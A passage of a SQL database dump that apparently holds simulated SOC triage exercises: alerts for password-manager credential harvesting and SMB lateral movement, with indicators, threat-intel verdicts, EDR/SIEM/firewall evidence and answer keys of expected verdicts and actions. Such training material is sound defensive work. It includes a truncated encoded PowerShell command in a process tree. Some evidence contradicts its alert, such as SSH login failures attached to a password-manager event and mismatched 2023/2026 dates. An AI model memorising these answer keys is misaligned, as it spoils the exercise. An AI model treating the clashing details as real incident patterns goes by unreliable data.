host.\"}},{\"id\":\"artifact_3\",\"type\":\"filename\",\"value\":\"invoice_2023.docx\",\"is_critical\":true,\"osint_result\":{\"source\":\"Endpoint Protection Logs\",\"verdict\":\"suspicious\",\"details\":\"File commonly used in phishing schemes.\"}},{\"id\":\"artifact_4\",\"type\":\"hash\",\"value\":\"f1d2d2f924e986ac86fdf7b36c94bcdf32beec15\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash matches known Emotet payload.\"}},{\"id\":\"artifact_5\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Directory\",\"verdict\":\"clean\",\"details\":\"Valid user account on the network.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\"]}', 'intermediate', NULL, 1, 0, NULL, NULL, NULL, '{\"tool\":\"EDR\",\"evidence\":{\"hostname\":\"WORKSTATION-01\",\"os\":\"Windows 10 Enterprise\",\"agent_version\":\"7.12.0\",\"process_tree\":[{\"id\":100,\"name\":\"explorer.exe\",\"pid\":4520,\"user\":\"jdoe\",\"cmd\":\"explorer.exe\",\"integrity\":\"Medium\",\"children\":[101]},{\"id\":101,\"name\":\"powershell.exe\",\"pid\":5100,\"user\":\"jdoe\",\"cmd\":\"powershell.exe -nop -enc AAB...\",\"integrity\":\"High\",\"children\":[102],\"highlight\":true},{\"id\":102,\"name\":\"conhost.exe\",\"pid\":5101,\"user\":\"jdoe\",\"cmd\":\"conhost.exe\",\"integrity\":\"High\",\"children\":[]}],\"network_connections\":[{\"pid\":5100,\"remote_ip\":\"203.0.113.55\",\"port\":443,\"state\":\"ESTABLISHED\",\"process\":\"powershell.exe\"}]}}', 0),
(1453, 'Credential Harvesting via Password Manager Exploit', 'high', 'Password manager access logs', 'CryptoCore exploits vulnerabilities in the password manager software, siphoning off sensitive credentials for further access.', 'Credential Access', 'T1003.005', 1, 'Closed', 225, '{\"timestamp\":\"2023-10-05T14:32:00Z\",\"event_id\":\"PM-2023-1005-0003\",\"source_ip\":\"203.0.113.45\",\"internal_ip\":\"10.0.0.15\",\"user\":\"jdoe\",\"filename\":\"password_manager_exploit_v2.dll\",\"hash\":\"e99a18c428cb38d5f260853678922e03\",\"event\":\"Unauthorized Access\",\"description\":\"Detected exploitation of password manager vulnerability using known exploit DLL.\"}', '2026-03-07 00:50:13', '2026-03-09 05:50:40', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"ThreatIntelDB\",\"verdict\":\"malicious\",\"details\":\"IP associated with multiple credential harvesting campaigns.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.0.0.15\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal host potentially compromised.\"}},{\"id\":\"artifact_3\",\"type\":\"filename\",\"value\":\"password_manager_exploit_v2.dll\",\"is_critical\":true,\"osint_result\":{\"source\":\"MalwareDB\",\"verdict\":\"malicious\",\"details\":\"Exploit DLL used in targeting password managers.\"}},{\"id\":\"artifact_4\",\"type\":\"hash\",\"value\":\"e99a18c428cb38d5f260853678922e03\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash matches known exploit used by CryptoCore.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"]}', 'intermediate', NULL, 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-07T14:15:20.840Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T14:32:00Z\\\",\\\"event_id\\\":\\\"PM-2023-1005-0003\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"internal_ip\\\":\\\"10.0.0.15\\\",\\\"user\\\":\\\"jdoe\\\",\\\"filename\\\":\\\"password_manager_exploit_v2.dll\\\",\\\"hash\\\":\\\"e99a18c428cb38d5f260853678922e03\\\",\\\"event\\\":\\\"Unauthorized Access\\\",\\\"description\\\":\\\"Detected exploitation of password manager vulnerability using known exploit DLL.\\\"}\"},{\"timestamp\":\"2026-03-07T14:14:20.840Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T14:32:00Z\\\",\\\"event_id\\\":\\\"PM-2023-1005-0003\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"internal_ip\\\":\\\"10.0.0.15\\\",\\\"user\\\":\\\"jdoe\\\",\\\"filename\\\":\\\"password_manager_exploit_v2.dll\\\",\\\"hash\\\":\\\"e99a18c428cb38d5f260853678922e03\\\",\\\"event\\\":\\\"Unauthorized Access\\\",\\\"description\\\":\\\"Detected exploitation of password manager vulnerability using known exploit DLL.\\\"}\"},{\"timestamp\":\"2026-03-07T14:13:20.840Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T14:32:00Z\\\",\\\"event_id\\\":\\\"PM-2023-1005-0003\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"internal_ip\\\":\\\"10.0.0.15\\\",\\\"user\\\":\\\"jdoe\\\",\\\"filename\\\":\\\"password_manager_exploit_v2.dll\\\",\\\"hash\\\":\\\"e99a18c428cb38d5f260853678922e03\\\",\\\"event\\\":\\\"Unauthorized Access\\\",\\\"description\\\":\\\"Detected exploitation of password manager vulnerability using known exploit DLL.\\\"}\"},{\"timestamp\":\"2026-03-07T14:12:20.840Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T14:32:00Z\\\",\\\"event_id\\\":\\\"PM-2023-1005-0003\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"internal_ip\\\":\\\"10.0.0.15\\\",\\\"user\\\":\\\"jdoe\\\",\\\"filename\\\":\\\"password_manager_exploit_v2.dll\\\",\\\"hash\\\":\\\"e99a18c428cb38d5f260853678922e03\\\",\\\"event\\\":\\\"Unauthorized Access\\\",\\\"description\\\":\\\"Detected exploitation of password manager vulnerability using known exploit DLL.\\\"}\"},{\"timestamp\":\"2026-03-07T14:11:20.840Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T14:32:00Z\\\",\\\"event_id\\\":\\\"PM-2023-1005-0003\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"internal_ip\\\":\\\"10.0.0.15\\\",\\\"user\\\":\\\"jdoe\\\",\\\"filename\\\":\\\"password_manager_exploit_v2.dll\\\",\\\"hash\\\":\\\"e99a18c428cb38d5f260853678922e03\\\",\\\"event\\\":\\\"Unauthorized Access\\\",\\\"description\\\":\\\"Detected exploitation of password manager vulnerability using known exploit DLL.\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/auth.log\\\" | head 100\"}}', 0),
(1454, 'Lateral Movement Detected', 'high', 'Network intrusion detection system', 'Armed with harvested credentials, the attackers penetrate deeper into the network, seeking access to the exchange\'s core financial systems.', 'Internal Network Propagation', 'T1078: Valid Accounts', 1, 'Closed', 225, '{\"timestamp\":\"2023-10-15T14:23:07Z\",\"event_id\":\"evt-45678\",\"source_ip\":\"10.5.3.25\",\"destination_ip\":\"192.168.14.45\",\"attacker_ip\":\"203.0.113.15\",\"username\":\"jdoe\",\"filename\":\"malicious_payload.exe\",\"hash\":\"3f8a5dc7c9b1e9e3e4d6a8b5f1a2c3d4\",\"event_type\":\"lateral_movement\",\"description\":\"Suspicious lateral movement detected using harvested credentials to access core financial systems.\",\"protocol\":\"SMB\",\"action\":\"access_granted\"}', '2026-03-07 00:50:13', '2026-03-09 05:51:41', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"10.5.3.25\",\"is_critical\":false,\"osint_result\":{\"source\":\"internal\",\"verdict\":\"internal\",\"details\":\"Internal IP used for lateral movement.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.14.45\",\"is_critical\":false,\"osint_result\":{\"source\":\"internal\",\"verdict\":\"internal\",\"details\":\"Internal IP targeted for access.\"}},{\"id\":\"artifact_3\",\"type\":\"ip\",\"value\":\"203.0.113.15\",\"is_critical\":true,\"osint_result\":{\"source\":\"external\",\"verdict\":\"malicious\",\"details\":\"Public IP associated with known malicious activities.\"}},{\"id\":\"artifact_4\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":true,\"osint_result\":{\"source\":\"internal\",\"verdict\":\"suspicious\",\"details\":\"User account suspected of being compromised.\"}},{\"id\":\"artifact_5\",\"type\":\"filename\",\"value\":\"malicious_payload.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"malware_database\",\"verdict\":\"malicious\",\"details\":\"Identified as part of a known malware toolkit.\"}},{\"id\":\"artifact_6\",\"type\":\"hash\",\"value\":\"3f8a5dc7c9b1e9e3e4d6a8b5f1a2c3d4\",\"is_critical\":true,\"osint_result\":{\"source\":\"malware_database\",\"verdict\":\"malicious\",\"details\":\"Hash matches known malicious software.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\"]}', 'intermediate', NULL, 1, 0, NULL, NULL, NULL, '{\"tool\":\"Firewall\",\"evidence\":{\"policy_name\":\"Block_Outbound_Direct_IP\",\"action\":\"ALLOW\",\"interface_in\":\"eth0\",\"interface_out\":\"eth1\",\"packets\":[{\"time\":\"10:00:01\",\"src\":\"10.0.0.5\",\"dst\":\"8.8.8.8\",\"proto\":\"UDP\",\"port\":53,\"size\":120,\"action\":\"ALLOW\"},{\"time\":\"10:00:02\",\"src\":\"10.0.0.5\",\"dst\":\"203.0.113.15\",\"proto\":\"TCP\",\"port\":443,\"size\":1500,\"action\":\"ALLOW\",\"alert\":true}]}}', 0);
